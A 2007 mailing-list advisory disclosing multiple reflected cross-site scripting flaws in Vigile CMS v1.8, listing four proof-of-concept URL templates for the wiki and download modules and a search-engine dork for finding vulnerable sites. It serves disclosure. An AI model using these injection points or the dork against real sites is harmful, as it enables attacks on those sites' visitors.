Related information

Daily web applications security vulnerabilities summary (PHP, ASP, JSP, CGI, Perl)

bMachine v 2.8 Local File Include Vulnerabilityes

SimplePHPBlog Hacking

WebBatch Applications Cross Site Scripting Vulrnability

PhpBB Xs 2 profile.php Permanent Xss Vulnerability

From:	x0kster_(at)_gmail.com <x0kster_(at)_gmail.com>
Date:	21.09.2007
Subject:	Vigile CMS v1.8 Multiple Remote XSS Vulnerability

# Name     : Vigile CMS v1.8 Multiple Remote XSS Vulnerability
# Download : http://www.itcms.it/
# Date     : 20-09-2007
# Author   : x0kster
# Mail     : x0kster@gmail.com
# Note     : For works, the wiki or the download module must be installed in the site.
#
# PoCs :
#
# Wiki 1     : http://[SITE]/[VIGILE_CMS_PATH]/index.php?nav=[WIKINAME]&title=[XSS]
# Wiki 2     : http://[SITE]/[VIGILE_CMS_PATH]/index.php/nav=[WIKINAME]?title=[XSS]
# Download 1 : http://[SITE]/[VIGILE_CMS_PATH]/index.php?nav=[DOWNLOADNAME]&cat=[XSS]
# Download 2 : http://[SITE]/[VIGILE_CMS_PATH]/index.php/nav=[DOWNLOADNAME]/cat=[XSS]
#
#
# Dork       : "tutti i contenuti, notizie, e commenti sono anche opera degli utenti, ogni violazione sarа eliminata dietro segnalazione."